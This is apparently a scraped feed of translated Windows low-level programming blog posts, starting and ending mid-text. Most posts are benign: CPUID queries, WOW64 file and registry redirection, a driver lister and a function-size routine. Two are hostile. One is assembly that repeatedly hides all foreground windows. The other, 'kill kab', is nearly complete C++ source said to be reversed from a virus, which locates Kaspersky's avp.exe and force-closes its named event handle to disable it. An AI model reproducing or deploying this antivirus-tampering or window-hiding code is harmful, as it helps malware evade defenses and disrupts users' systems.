num before use such cpuid function num.<br />
<br />
<br />
Code:<br />
CPUID_ARGS ca;<br />
ca.eax = 0;<br />
cpuid32(&ca);<br />
char Vendor[13];<br />
*((PULONG)&Vendor[0]) = ca.ebx;<br />
*((PULONG)&Vendor[4]) = ca.edx;<br />
*((PULONG)&Vendor[8]) = ca.ecx;<br />
Vendor[12] = '\0';<br />
<br />
printf("CPU Vendor: %s\n", Vendor);<br />
printf("Max Standard function: 0x%08x\n", ca.eax);<br />
<br />
ca.eax = 0x80000000;<br />
cpuid32(&ca);<br />
<br />
printf("Max Extended function: 0x%08x\n", ca.eax);<br />
3.Reference appropriate help standard of CPU manufacturer to use
homologous function num<br />
<br />
Code:<br />
if(strcmp(Vendor, "GenuineIntel") == 0)<br />
{<br />
//Reference IPM-241618<br />
if(ca.eax >= 0x80000004) //support brand string<br />
{<br />
char Brand[48];<br />
ca.eax = 0x80000002;<br />
cpuid32(&ca);<br />
*((PULONG)&Brand[0]) = ca.eax;<br />
*((PULONG)&Brand[4]) = ca.ebx;<br />
*((PULONG)&Brand[8]) = ca.ecx;<br />
*((PULONG)&Brand[12]) = ca.edx;<br />
<br />
ca.eax = 0x80000003;<br />
cpuid32(&ca);<br />
*((PULONG)&Brand[16]) = ca.eax;<br />
*((PULONG)&Brand[20]) = ca.ebx;<br />
*((PULONG)&Brand[24]) = ca.ecx;<br />
*((PULONG)&Brand[28]) = ca.edx;<br />
<br />
ca.eax = 0x80000004;<br />
cpuid32(&ca);<br />
*((PULONG)&Brand[32]) = ca.eax;<br />
*((PULONG)&Brand[36]) = ca.ebx;<br />
*((PULONG)&Brand[40]) = ca.ecx;<br />
*((PULONG)&Brand[44]) = ca.edx;<br />
<br />
printf("Brand: %s\n", Brand);<br />
}<br />
}<br />
else if(strcmp(Vendor, "AuthenticAMD") == 0)<br />
{<br />
//Reference APM-25481<br />
if(ca.eax >= 0x80000004) //support brand string<br />
{<br />
char Brand[48];<br />
ca.eax = 0x80000002;<br />
cpuid32(&ca);<br />
*((PULONG)&Brand[0]) = ca.eax;<br />
*((PULONG)&Brand[4]) = ca.ebx;<br />
*((PULONG)&Brand[8]) = ca.ecx;<br />
*((PULONG)&Brand[12]) = ca.edx;<br />
<br />
ca.eax = 0x80000003;<br />
cpuid32(&ca);<br />
*((PULONG)&Brand[16]) = ca.eax;<br />
*((PULONG)&Brand[20]) = ca.ebx;<br />
*((PULONG)&Brand[24]) = ca.ecx;<br />
*((PULONG)&Brand[28]) = ca.edx;<br />
<br />
ca.eax = 0x80000004;<br />
cpuid32(&ca);<br />
*((PULONG)&Brand[32]) = ca.eax;<br />
*((PULONG)&Brand[36]) = ca.ebx;<br />
*((PULONG)&Brand[40]) = ca.ecx;<br />
*((PULONG)&Brand[44]) = ca.edx;<br />
<br />
printf("Brand: %s\n", Brand);<br />
}<br />
}<br />
else //if(...)<br />
{<br />
//Reference help of other CPU manufacturer<br />
}<br />
</div>
</div>
view4822http://www.blogger.com/profile/14601984873144504319noreply@blogger.com0tag:blogger.com,1999:blog-1000151427807074321.post-84638536642289623622011-09-26T07:20:00.000-07:002011-09-26T07:20:34.028-07:00On a whim, Lets windows can't use windows<div style="text-align: center;">
Author:moonife</div>
<div style="text-align: left;">
Don't haphazard use it: Assembly code(the code will safety return at most after two minute)<br />*****************************************************************<br />.386<br />.model flat,stdcall<br />option casemap:none<br />;****************************************************************<br />include windows.inc<br />include kernel32.inc<br />includelib kernel32.lib<br />include user32.inc<br />includelib user32.lib<br />;****************************************************************<br />.data?<br />hwnd dd ?<br />hwdesk dd ?<br />mesg MSG <><br />.const<br />szClassName db 'Progman',0<br />szCaptionMain db 'Program Manager',0<br />;****************************************************************<br />.code<br />start:<br /> invoke FindWindow,addr szClassName,addr szCaptionMain<br /> mov hwdesk,eax<br /> invoke SetTimer,NULL,1,500,0<br /> .while 1<br /> invoke GetMessage,addr mesg,NULL,0,0<br /> .if mesg.message==WM_TIMER<br /> invoke GetForegroundWindow<br /> .if eax!=hwdesk<br /> mov hwnd,eax<br /> invoke IsWindowVisible, hwnd <br /> .if eax<br /> invoke ShowWindow,hwnd,SW_HIDE<br /> .endif<br /> .endif<br /> .endif<br /> .endw<br /> invoke KillTimer,NULL,1<br /> invoke ExitProcess,NULL<br /> end start<br /> ;****************************************************************<br /><br /></div>
view4822http://www.blogger.com/profile/14601984873144504319noreply@blogger.com0tag:blogger.com,1999:blog-1000151427807074321.post-70709199717179109872011-09-25T06:27:00.000-07:002011-09-25T06:27:50.519-07:00[Windows kernel programming]32bit program dispose redirection details on 64bit system[1]<div style="text-align: center;">
Author:猪头三</div>
<div style="text-align: left;">
</div>
<div style="text-align: left;">
The times, doing to modify code of ordinary 32bit program on Ring3 for compatible with 64bit system, Log to modify and learn depth of heart on here.</div>
<div style="text-align: left;">
Program territory is wide range, Anybody go through is limit, And I isn't specialist, So I always principle is: When use, study, and log. </div>
<div style="text-align: left;">
Only private base knowledge is strong, and take some new , that is going well.</div>
<div style="text-align: left;">
<br /></div>
<div style="text-align: left;">
<br /></div>
<div style="text-align: left;">
1. Redirection mechanism and aim of 64bit system</div>
<div style="text-align: left;">
64bit Windows system use redirection mechanism for not have wrong to compatible 32bit program run on 64bit system.Aim is to let's 32bit program can handle key file and key register, and avoid clash with 64bit program.</div>
<div style="text-align: left;">
Microsoft use redirection's principle is simple, That has two copys for key file/folder or key register, one copy is accessed by 32bit program, one copy is accessed by 64bit program.</div>
<div style="text-align: left;">
<br /></div>
<div style="text-align: left;">
2. How control 32bit and 64bit program access the corresponding copy by 64bit system, The question is kernel featrue of redirection.</div>
<div style="text-align: left;">
</div>
<div style="text-align: left;">
Example: 31bit program need access system32 directory on 64bit Windows.</div>
<div style="text-align: left;">
The natural case: System directory turn to syswow64 directory on redirection mechanism of 64bit Windows systemer internal, Infact operate syswow64.</div>
<div style="text-align: left;">
System32 directory is used for 64bit program, Syswow64 directory is used for 32bit program.</div>
<div style="text-align: left;">
Code example: 32bit program have code:</div>
<div style="text-align: left;">
deletefile('c:\windows\system32\a.txt') ;</div>
<div style="text-align: left;">
On 64bit system,The code will delete a.txt on syswow64 directory, won't delete a.txt on system32.</div>
<div style="text-align: left;">
<br /></div>
<div style="text-align: left;">
3. If 32bit program access real system32 directory , How to do?</div>
<div style="text-align: left;">
Microsoft offer a suit of API, can do it. Through Wow64DisableWow64FsRedirection and Wow64RevertWow64FsRedirection API fit use.</div>
<div style="text-align: left;">
<br /></div>
<div style="text-align: left;">
Code example: 32bit program have code</div>
<div style="text-align: left;">
Wow64DisableWow64FsRedirection // Close redirection</div>
<div style="text-align: left;">
deletefile('c:\windows\system32\a.txt') ;</div>
<div style="text-align: left;">
Wow64RevertWow64FsRedirection // Recover redirection</div>
<div style="text-align: left;">
he code will delete a.txt on system32 directory, won't delete a.txt on syswow64 directory.</div>
<div style="text-align: left;">
<br /></div>
<div style="text-align: left;">
4. When whole disk enumerate system directory and 32bit program don't close redirection feature , Can both enumerate 32bit and 64 bit directory?</div>
<div style="text-align: left;">
Through test, Can't enumerate in the meantime, only do two repeat scan, First enumerate 32bit directory on open redirection, Then second close redirection, after enumerate 64bit directory.</div>
<div style="text-align: left;">
<br /></div>
<div style="text-align: left;">
6. Have copy of register after redirection?</div>
<div style="text-align: left;">
YES</div>
<div style="text-align: left;">
Example:32bit program regular access HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID' on 64bit Windows system</div>
<div style="text-align: left;">
Because redirection intervene, 32bit access 'HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432node\CLSID'</div>
<div style="text-align: left;">
</div>
<div style="text-align: left;">
<br /></div>
<div style="text-align: left;">
7. When whole disk enumerate system directory and 32bit program don't close redirection feature , Can both enumerate 32bit and 64 bit register imformation?</div>
<div style="text-align: left;">
Through test, Can't enumerate in the meantime, only do two repeat scan, First enumerate 32bit register imformation on open redirection, Then second close redirection, after enumerate 64bit register imformation.</div>
<div style="text-align: left;">
<br /></div>
<div style="text-align: left;">
8. 32bit program don't close redirection feature on 64bit windows system, Can access key directory and key register of 32bit copy by hard code.</div>
<div style="text-align: left;">
Yes,Can do.</div>
<div style="text-align: left;">
Code example: </div>
<div style="text-align: left;">
deletefile('c:\windows\syswow64\a.txt') ;</div>
view4822http://www.blogger.com/profile/14601984873144504319noreply@blogger.com0tag:blogger.com,1999:blog-1000151427807074321.post-91559937717946370242011-09-24T02:37:00.000-07:002011-09-24T02:37:11.093-07:00[Text Vesion]Document-ize of ring3 api list diriver listing<div style="text-align: center;">
Author:benyanwk</div>
<div style="text-align: left;">
Code:</div>
<div style="text-align: left;">
/*++ <br />Module Name:<br /> ListDrvCon.cpp<br /><br />Enviroment:<br /> All Windows NT Platfrom;Console<br /><br />Abstract:<br /> List all the driver's name & baseaddr & fileaddr<br /><br />Note:<br /> Using documented API in psapi.h<br /><br />Revision:<br /> 23-Nov-2008 Created.<br /><br />--*/<br /><br />//<br />// directives<br />//<br />#define MAXNUM 255<br />#define UNICODE // to support chinese <br />#include <windows.h><br />#include <psapi.h><br />#include <stdio.h><br />#pragma comment(lib,"psapi.lib")<br /><br />//<br />// strcut defintion<br />//<br /><br />typedef struct _DRIVER_INFO {<br /> WCHAR BaseName[MAX_PATH];<br /> WCHAR FileName[MAX_PATH];<br /> DWORD BaseAddr;<br />} DRIVER_INFO,*PDRIVER_INFO ;<br /><br />typedef struct _ALL_DRIVER_INFO {<br /> DWORD cbNum;<br /> DRIVER_INFO DrvInfo[1]; // define variable length structure<br />} ALL_DRIVER_INFO,*PALL_DRIVER_INFO;<br /><br />//<br />// function declaration<br />//<br />int main();<br />int myGetDriverInfo(<br /> IN PVOID &pDrvInfo,<br /> IN BOOLEAN bAlloc<br /> );<br /><br />//<br />// function definition<br />//<br />int myGetDriverInfo(<br /> IN PALL_DRIVER_INFO* pDrvInfo, <br /> IN BOOLEAN bAlloc<br /> )<br />{<br />/*++<br />Arguments:<br /> pDrvInfo-->the buffer to store the driver information<br /> bAlloc-->alloc the global memory by the function or not<br /> return 0 indicate success otherwise error <br />--*/<br /> DWORD cbNum = 0;<br /> PDWORD pBaseAddr = NULL ;<br /> PWCHAR pFileName = NULL;<br /> PWCHAR pBaseName = NULL;<br /> PALL_DRIVER_INFO pAllDrvInfo;<br /><br /> <br /> pBaseAddr = (PDWORD)GlobalAlloc( GMEM_FIXED, sizeof(DWORD)*MAXNUM );<br /><br /><br /> if( EnumDeviceDrivers( (LPVOID*)pBaseAddr, sizeof(DWORD)*MAXNUM, &cbNum ) != TRUE )<br /> {<br /> //<br /> // indicate EnumDeviceDriver failed!<br /> //<br /> wprintf( L"EnumDeviceDriver failed! ErrorCode = %8x\n", GetLastError() );<br /> return 1; <br /> }<br /> <br /> cbNum /=4; // cbNum return the bytes<br /><br /> if( bAlloc == TRUE )<br /> pAllDrvInfo = (PALL_DRIVER_INFO)GlobalAlloc( GMEM_FIXED, sizeof(DRIVER_INFO)*cbNum + 4 );<br /> else<br /> pAllDrvInfo = (PALL_DRIVER_INFO)pDrvInfo;<br /><br /> pAllDrvInfo->cbNum = cbNum;<br /><br /> for( int i = 0; i < cbNum; i++ )<br /> {<br /> pAllDrvInfo->DrvInfo[i].BaseAddr = *pBaseAddr;<br /><br /> GetDeviceDriverBaseName( (LPVOID)*pBaseAddr, (LPWSTR)&pAllDrvInfo->DrvInfo[i].BaseName, MAX_PATH );<br /> GetDeviceDriverFileName( (LPVOID)*pBaseAddr, (LPWSTR)&pAllDrvInfo->DrvInfo[i].FileName, MAX_PATH );<br /><br /> pBaseAddr++;<br /> }<br /><br /> *pDrvInfo = pAllDrvInfo; // return the drv info buffer pointer <br /> return 0; // indicate success<br />}<br /><br />int main()<br />{<br /> PALL_DRIVER_INFO pDrvInfo = NULL;<br /> myGetDriverInfo(<br /> (PALL_DRIVER_INFO*)&pDrvInfo,<br /> TRUE<br /> );<br /> wprintf(L"=====the list of driver as follows === \n");<br /> wprintf(L"Order\tBaseAddr \t BaseName \t FileName \t \n");<br /> for( int i = 0; i<pDrvInfo->cbNum; i++ )<br /> {<br /> wprintf(L"%d\t%8x\t%s\t%s\n",<br /> i,<br /> pDrvInfo->DrvInfo[i].BaseAddr,<br /> pDrvInfo->DrvInfo[i].BaseName,<br /> pDrvInfo->DrvInfo[i].FileName<br /> );<br /> }<br /> return 0;<br />}<br /></div>
view4822http://www.blogger.com/profile/14601984873144504319noreply@blogger.com0tag:blogger.com,1999:blog-1000151427807074321.post-35260742505844440432011-09-23T06:40:00.000-07:002011-09-23T06:40:16.899-07:00Get OpCode's size of function<div style="text-align: center;">
Author:GStar</div>
<div style="text-align: left;">
Main idea: Analyse jmp jcc etc. jump type command, That need find farthest address of command; Find ret command; If current command is ret and fartherst address of command, Function is End.</div>
<div style="text-align: left;">
<br /></div>
<div style="text-align: left;">
Code:</div>
<div style="text-align: left;">
GetProcSize proc uses esi ebx edi pProc:DWORD<br />;eax command length<br />;ebx current command<br />;ecx function addr<br />;esi Current command address, and That is farthest address of command<br /><br /> mov esi,pProc<br /> mov edi,esi<br /> <br /> invoke GetCodeSize,esi<br /> .while eax<br /> .if eax == 2 && ( (byte ptr[esi] > 70H && byte ptr[esi] < 7FH) || byte ptr[esi] == 0EBH )<br /> movsx ebx,byte ptr[esi+1]<br /> .elseif eax == 5 && byte ptr[esi] == 0E9H<br /> mov ebx,[esi+1]<br /> .elseif eax == 6 && byte ptr[esi] == 0FH && byte ptr[esi+1] > 80H && byte ptr[esi+1] < 8FH<br /> mov ebx,[esi+2]<br /> .else<br /> .if (byte ptr[esi] == 0C2H || byte ptr[esi] == 0C3H || byte ptr[esi] == 0CAH || byte ptr[esi] == 0CBH) && esi == edi<br /> lea eax,[esi+eax]<br /> sub eax,pProc<br /> ret<br /> .else<br /> xor ebx,ebx<br /> .endif<br /> .endif<br /> add esi,eax<br /> test ebx,ebx<br /> .if !sign?<br /> add ebx,esi<br /> .if ebx > edi<br /> mov edi,ebx<br /> .endif<br /> .endif<br /> .if esi > edi<br /> mov edi,esi<br /> .endif<br /> invoke GetCodeSize,esi<br /> .endw<br /> xor eax,eax<br /> ret<br />GetProcSize endp</div>
<div style="text-align: left;">
<br /></div>
<div style="text-align: left;">
Remark:</div>
<div style="text-align: left;">
1、GetCodeSize is lde32 disassembling engine.<br />2、The code has limtations, Cant's analysis jmp [xx] command;By behind jmp to ret command's function may be get full size. But can almost analyse by compiler generated.</div>
view4822http://www.blogger.com/profile/14601984873144504319noreply@blogger.com0tag:blogger.com,1999:blog-1000151427807074321.post-13779804174816932742011-09-22T07:24:00.000-07:002011-09-22T07:25:00.644-07:00kill kab<div style="text-align: center;">
Author:takile</div>
<div style="text-align: left;">
Watch usage of a virus , Through colse Kaspersky's event, That is old method.<br />Reverse the code, </div>
<div style="text-align: left;">
Code:</div>
<div style="text-align: left;">
// KillAvpByEventHandle.cpp : Defines the entry point for the console application.<br />//<br /><br />#include "stdafx.h"<br /><br />typedef struct _UNICODE_STRING {<br /> USHORT Length;<br /> USHORT MaximumLength;<br />#ifdef MIDL_PASS<br /> [size_is(MaximumLength / 2), length_is((Length) / 2) ] USHORT * Buffer;<br />#else // MIDL_PASS<br /> PWSTR Buffer;<br />#endif // MIDL_PASS<br />} UNICODE_STRING, *PUNICODE_STRING;<br /><br />typedef struct _SYSTEM_HANDLE_INFORMATION {<br /> ULONG ProcessId;<br /> UCHAR ObjectTypeNumber;<br /> UCHAR Flags;<br /> USHORT Handle;<br /> PVOID Object;<br /> ACCESS_MASK GrantedAccess;<br />} SYSTEM_HANDLE_INFORMATION, *PSYSTEM_HANDLE_INFORMATION;<br /><br />typedef struct _OBJECT_NAME_INFORMATION {<br /> UNICODE_STRING Name;<br />} OBJECT_NAME_INFORMATION, *POBJECT_NAME_INFORMATION;<br /><br />typedef long NTSTATUS;<br /><br />#define SystemHandleInformation 16<br />#define ObjectNameInformation 1<br /><br />#define STATUS_UNSUCCESSFUL ((NTSTATUS)0xC0000001L)<br />#define STATUS_INFO_LENGTH_MISMATCH ((NTSTATUS)0xC0000004L)<br />#define STATUS_SUCCESS ((NTSTATUS)0x00000000L)<br /><br />#define OB_TYPE_EVENT 8<br />#define OB_TYPE_EVENT_PAIR 9<br /><br />typedef VOID (__stdcall *PRTLINITUNICODESTRING)(<br /> IN OUT PUNICODE_STRING DestinationString,<br /> IN PCWSTR SourceString<br /> );<br /><br />typedef NTSTATUS (__stdcall *PZWQUERYSYSTEMINFORMATION)(<br /> ULONG SystemInformationClass,<br /> PVOID SystemInformation,<br /> ULONG SystemInformationLength,<br /> PULONG ReturnLength<br /> );<br /><br />typedef NTSTATUS (__stdcall *PZWQUERYOBJECT)(<br /> IN HANDLE ObjectHandle,<br /> IN ULONG ObjectInformationClass,<br /> OUT PVOID ObjectINformation,<br /> IN ULONG ObjectInformationLength,<br /> OUT PULONG ReturnLength OPTIONAL<br /> );<br /><br />// 获取非 system 用户的 avp.exe 进程 Id<br />DWORD GetNotSystemAvpProcess(IN const TCHAR *pszProcessName);<br /><br />// 获取创建进程的用户名<br />BOOL GetProcessUserName(IN DWORD dwProcessId, OUT TCHAR *pszProcessUserName, IN DWORD dwUserNameLength);<br /><br />// 获取事件句柄的类型<br />BOOL GetEventHandleType(OUT UCHAR *uObjectTypeNumber);<br /><br />// 获取 HandleInformation Buffer(Call ZwQuerySystemInformation)<br />PVOID GetSystemHandleInformation(OUT DWORD *dwHandleCount);<br /><br />// 获取对象名字字符串<br />PVOID GetObjectNameByHandle(IN HANDLE hObject);<br /><br />PRTLINITUNICODESTRING pfnRtlInitUnicodeString = NULL;<br />PZWQUERYSYSTEMINFORMATION pfnZwQuerySystemInformation = NULL;<br />PZWQUERYOBJECT pfnZwQueryObject = NULL;<br /><br />int _tmain(int argc, _TCHAR* argv[])<br />{<br /> HMODULE hLibrary = NULL;<br /> DWORD dwProcessId = -1;<br /> UNICODE_STRING unicodeObject;<br /> HANDLE hProcess = NULL, hTargetHandle = NULL;<br /> BOOL bRetValue = FALSE;<br /> UCHAR uObjectTypeNumber = -1;<br /><br /> PVOID pHandleInfoBuffer = NULL;<br /> PSYSTEM_HANDLE_INFORMATION pHandleInfo = NULL;<br /> DWORD dwHandleCount = 0, dwIndex = 0;<br /><br /> POBJECT_NAME_INFORMATION pObjectName = NULL;<br /><br /> // getchar();<br /><br /> hLibrary = LoadLibraryEx(_T("ntdll.dll"), NULL, DONT_RESOLVE_DLL_REFERENCES);<br /> if ( NULL == hLibrary )<br /> goto Return;<br /><br /> pfnRtlInitUnicodeString = (PRTLINITUNICODESTRING)GetProcAddress(hLibrary, "RtlInitUnicodeString");<br /> pfnZwQuerySystemInformation = (PZWQUERYSYSTEMINFORMATION)GetProcAddress(hLibrary, "ZwQuerySystemInformation");<br /> pfnZwQueryObject = (PZWQUERYOBJECT)GetProcAddress(hLibrary, "ZwQueryObject");<br /><br /> if ( NULL == pfnRtlInitUnicodeString || NULL == pfnZwQuerySystemInformation || NULL == pfnZwQueryObject )<br /> goto Return;<br /><br /> pfnRtlInitUnicodeString(&unicodeObject, L"\\BaseNamedObjects\\6953EA60-8D5F-4529-8710-42F8ED3E8CDA");<br /><br /> dwProcessId = GetNotSystemAvpProcess(_T("avp.exe"));<br /> if ( -1 == dwProcessId )<br /> goto Return;<br /><br /> hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, dwProcessId);<br /> bRetValue = DuplicateHandle(GetCurrentProcess(), hProcess, GetCurrentProcess(), &hProcess, PROCESS_DUP_HANDLE, FALSE, 0);<br /> if ( FALSE == bRetValue )<br /> goto Return;<br /><br /> if ( FALSE == (bRetValue = GetEventHandleType(&uObjectTypeNumber)) || -1 == uObjectTypeNumber )<br /> goto Return;<br /><br /> pHandleInfoBuffer = GetSystemHandleInformation(&dwHandleCount);<br /> if ( NULL == pHandleInfoBuffer || 0 >= dwHandleCount )<br /> goto Return;<br /><br /> pHandleInfo = (PSYSTEM_HANDLE_INFORMATION)((PUCHAR)pHandleInfoBuffer + 4);<br /><br /> for ( dwIndex = 0; dwIndex < dwHandleCount; dwIndex ++ )<br /> {<br /> hTargetHandle = NULL;<br /><br /> if ( dwProcessId != pHandleInfo->ProcessId || uObjectTypeNumber != pHandleInfo->ObjectTypeNumber )<br /> goto Loop;<br /><br /> bRetValue = DuplicateHandle(hProcess, (HANDLE)pHandleInfo->Handle, GetCurrentProcess(), &hTargetHandle, 0, FALSE, DUPLICATE_SAME_ACCESS);<br /> if ( FALSE == bRetValue )<br /> goto Loop;<br /><br /> if ( NULL == (pObjectName = (POBJECT_NAME_INFORMATION)GetObjectNameByHandle(hTargetHandle)) )<br /> goto Loop;<br /><br /> if ( NULL != pObjectName->Name.Buffer && 0 < pObjectName->Name.Length )<br /> {<br /> if ( 0 == _wcsnicmp(unicodeObject.Buffer, pObjectName->Name.Buffer, unicodeObject.Length) )<br /> {<br /> bRetValue = DuplicateHandle(hProcess, (HANDLE)pHandleInfo->Handle, GetCurrentProcess(), NULL, 0, FALSE, DUPLICATE_CLOSE_SOURCE);<br /> if ( TRUE == bRetValue )<br /> break;<br /> }<br /> }<br /><br />Loop:<br /><br /> if ( NULL != pObjectName )<br /> {<br /> HeapFree(GetProcessHeap(), 0, pObjectName);<br /> pObjectName = NULL;<br /> }<br /><br /> if ( NULL != hTargetHandle )<br /> {<br /> CloseHandle(hTargetHandle);<br /> hTargetHandle = NULL;<br /> }<br /><br /> pHandleInfo++;<br /> }<br /><br />Return:<br /><br /> if ( NULL != pObjectName )<br /> {<br /> HeapFree(GetProcessHeap(), 0, pObjectName);<br /> pObjectName = NULL;<br /> }<br /><br /> if ( NULL != pHandleInfoBuffer )<br /> {<br /> HeapFree(GetProcessHeap(), 0, pHandleInfoBuffer);<br /> pHandleInfoBuffer = NULL;<br /> pHandleInfo = NULL;<br /> }<br /><br /> if ( NULL != hTargetHandle )<br /> {<br /> CloseHandle(hTargetHandle);<br /> hTargetHandle = NULL;<br /> }<br /><br /> if ( NULL != hProcess )<br /> {<br /> CloseHandle(hProcess);<br /> hProcess = NULL;<br /> }<br /><br /> if ( NULL != hLibrary )<br /> {<br /> FreeLibrary(hLibrary);<br /> hLibrary = NULL;<br /> }<br /><br /> return 0;<br />}<br /><br />// Get avp.exe process id of non-system user<br />DWORD GetNotSystemAvpProcess(IN const TCHAR *pszProcessName)<br />{<br /> DWORD dwProcessId = -1;<br /> HANDLE hProcessSnapshot = INVALID_HANDLE_VALUE;<br /> PROCESSENTRY32 struct_ProEntry;<br /> <br /> BOOL bRetValue = FALSE;<br /> TCHAR szProcessUserName[MAX_PATH] = {0};<br /><br /> if ( NULL == pszProcessName )<br /> goto Return;<br /><br /> hProcessSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);<br /> if ( INVALID_HANDLE_VALUE == hProcessSnapshot )<br /> goto Return;<br /><br /> ZeroMemory(&struct_ProEntry, sizeof(PROCESSENTRY32));<br /> struct_ProEntry.dwSize = sizeof(PROCESSENTRY32);<br /><br /> if ( FALSE == (bRetValue = Process32First(hProcessSnapshot, &struct_ProEntry)) )<br /> goto Return;<br /><br /> do <br /> {<br /> if ( 0 == _tcsnicmp(pszProcessName, struct_ProEntry.szExeFile, _tcslen(pszProcessName)) )<br /> {<br /> bRetValue = GetProcessUserName(struct_ProEntry.th32ProcessID, szProcessUserName, MAX_PATH);<br /> if ( TRUE == bRetValue )<br /> {<br /> if ( 0 != _tcsnicmp(szProcessUserName, _T("system"), _tcslen(_T("system"))) )<br /> {<br /> dwProcessId = struct_ProEntry.th32ProcessID;<br /> goto Return;<br /> }<br /> }<br /> }<br /><br /> } while( Process32Next(hProcessSnapshot, &struct_ProEntry) );<br /><br />Return:<br /><br /> if ( INVALID_HANDLE_VALUE != hProcessSnapshot )<br /> {<br /> CloseHandle(hProcessSnapshot);<br /> hProcessSnapshot = NULL;<br /> } <br /><br /> return dwProcessId;<br />}<br /><br />// Get to be created process's user name<br />BOOL GetProcessUserName(IN DWORD dwProcessId, OUT TCHAR *pszProcessUserName, IN DWORD dwUserNameLength)<br />{<br /> BOOL bRetResult = FALSE, bRetValue = FALSE;<br /> HANDLE hProcess = NULL, hProcessToken = NULL;<br /> DWORD dwReturnLength = 0;<br /><br /> PTOKEN_USER pTokenUser = NULL;<br /> SID_NAME_USE enum_SidName;<br /><br /> PVOID pUserName = NULL, pReferencedDomainName = NULL;<br /> DWORD dwchUserNameLength = 0, dwchReferencedDomainNameLength = 0;<br /><br /> if ( 0 >= dwProcessId || NULL == pszProcessUserName || (0 >= dwUserNameLength || MAX_PATH < dwUserNameLength) )<br /> goto Return;<br /><br /> hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, dwProcessId);<br /> if ( NULL == hProcess )<br /> goto Return;<br /><br /> bRetValue = OpenProcessToken(hProcess, TOKEN_QUERY, &hProcessToken);<br /> if ( FALSE == bRetValue )<br /> goto Return;<br /><br /> bRetValue = GetTokenInformation(hProcessToken, TokenUser, NULL, 0, &dwReturnLength);<br /> if ( FALSE != bRetValue || ERROR_INSUFFICIENT_BUFFER != GetLastError() )<br /> goto Return;<br /><br /> pTokenUser = (PTOKEN_USER)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, dwReturnLength);<br /> if ( NULL == pTokenUser )<br /> goto Return;<br /><br /> bRetValue = GetTokenInformation(hProcessToken, TokenUser, pTokenUser, dwReturnLength, &dwReturnLength);<br /> if ( FALSE == bRetValue )<br /> goto Return;<br /><br /> bRetValue = LookupAccountSid(NULL, pTokenUser->User.Sid, NULL, &dwchUserNameLength, <br /> NULL, &dwchReferencedDomainNameLength, &enum_SidName);<br /> if ( FALSE != bRetValue || ERROR_INSUFFICIENT_BUFFER != GetLastError() )<br /> goto Return;<br /><br /> if ( dwchUserNameLength <= dwUserNameLength )<br /> {<br /> pUserName = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, dwchUserNameLength);<br /> pReferencedDomainName = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, dwchReferencedDomainNameLength);<br /><br /> if ( NULL == pUserName || NULL == pReferencedDomainName )<br /> goto Return;<br /><br /> bRetValue = LookupAccountSid(NULL, pTokenUser->User.Sid, (TCHAR *)pUserName, &dwchUserNameLength, <br /> (TCHAR *)pReferencedDomainName, &dwchReferencedDomainNameLength, &enum_SidName);<br /> if ( TRUE == bRetValue )<br /> {<br /> _tcsncpy_s(pszProcessUserName, dwUserNameLength, (TCHAR *)pUserName, dwchUserNameLength);<br /><br /> bRetResult = TRUE;<br /> }<br /> }<br /><br />Return:<br /><br /> if ( NULL != hProcess )<br /> {<br /> CloseHandle(hProcess);<br /> hProcess = NULL;<br /> }<br /><br /> if ( NULL != hProcessToken )<br /> {<br /> CloseHandle(hProcessToken);<br /> hProcessToken = NULL;<br /> }<br /><br /> if ( NULL != pTokenUser )<br /> {<br /> HeapFree(GetProcessHeap(), 0, pTokenUser);<br /> pTokenUser = NULL;<br /> }<br /><br /> if ( NULL != pUserName )<br /> {<br /> HeapFree(GetProcessHeap(), 0, pUserName);<br /> pUserName = NULL;<br /> }<br /><br /> if ( NULL != pReferencedDomainName )<br /> {<br /> HeapFree(GetProcessHeap(), 0, pReferencedDomainName);<br /> pReferencedDomainName = NULL;<br /> }<br /><br /> return bRetResult;<br />}<br /><br />// 获取事件句柄的类型<br />BOOL GetEventHandleType(OUT UCHAR *uObjectTypeNumber)<br />{<br /> BOOL bRetResult = FALSE;<br /> HANDLE hEvent = NULL;<br /> PVOID pHandleInfoBuffer = NULL;<br /> PSYSTEM_HANDLE_INFORMATION pHandleInfo = NULL;<br /> DWORD dwHandleCount = 0, dwIndex = 0;<br /><br /> if ( NULL == uObjectTypeNumber )<br /> goto Return;<br /><br /> hEvent = CreateEvent(NULL, TRUE, TRUE, "TEST_EVENT");<br /> if ( NULL == hEvent )<br /> goto Return;<br /><br /> pHandleInfoBuffer = GetSystemHandleInformation(&dwHandleCount);<br /> if ( NULL == pHandleInfoBuffer || 0 >= dwHandleCount )<br /> goto Return;<br /><br /> pHandleInfo = (PSYSTEM_HANDLE_INFORMATION)((PUCHAR)pHandleInfoBuffer + 4);<br /><br /> for ( dwIndex = 0; dwIndex < dwHandleCount; dwIndex ++ )<br /> {<br /> if ( GetCurrentProcessId() == pHandleInfo->ProcessId )<br /> {<br /> if ( (USHORT)hEvent == pHandleInfo->Handle )<br /> {<br /> *uObjectTypeNumber = pHandleInfo->ObjectTypeNumber;<br /> bRetResult = TRUE;<br /><br /> break;<br /> }<br /> }<br /><br /> pHandleInfo ++;<br /> } <br /><br />Return:<br /><br /> if ( NULL != pHandleInfoBuffer )<br /> {<br /> HeapFree(GetProcessHeap(), 0, pHandleInfoBuffer);<br /> pHandleInfoBuffer = NULL;<br /> pHandleInfo = NULL;<br /> }<br /><br /> if ( NULL != hEvent )<br /> {<br /> CloseHandle(hEvent);<br /> hEvent = NULL;<br /> }<br /><br /> return bRetResult;<br />}<br /><br />// Get HandleInformation Buffer(Call ZwQuerySystemInformation)<br />PVOID GetSystemHandleInformation(OUT DWORD *dwHandleCount)<br />{<br /> PVOID pReturnBuffer = NULL;<br /> NTSTATUS ntStatus = STATUS_UNSUCCESSFUL;<br /> ULONG uReturnLength = 0;<br /><br /> if ( NULL == dwHandleCount || NULL == pfnZwQuerySystemInformation )<br /> goto Return;<br /><br /> if ( NULL == (pReturnBuffer = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 1024)) )<br /> goto Return;<br /><br /> ntStatus = pfnZwQuerySystemInformation(SystemHandleInformation, pReturnBuffer, 1024, &uReturnLength);<br /> if ( STATUS_INFO_LENGTH_MISMATCH != ntStatus )<br /> goto Return;<br /><br /> if ( NULL 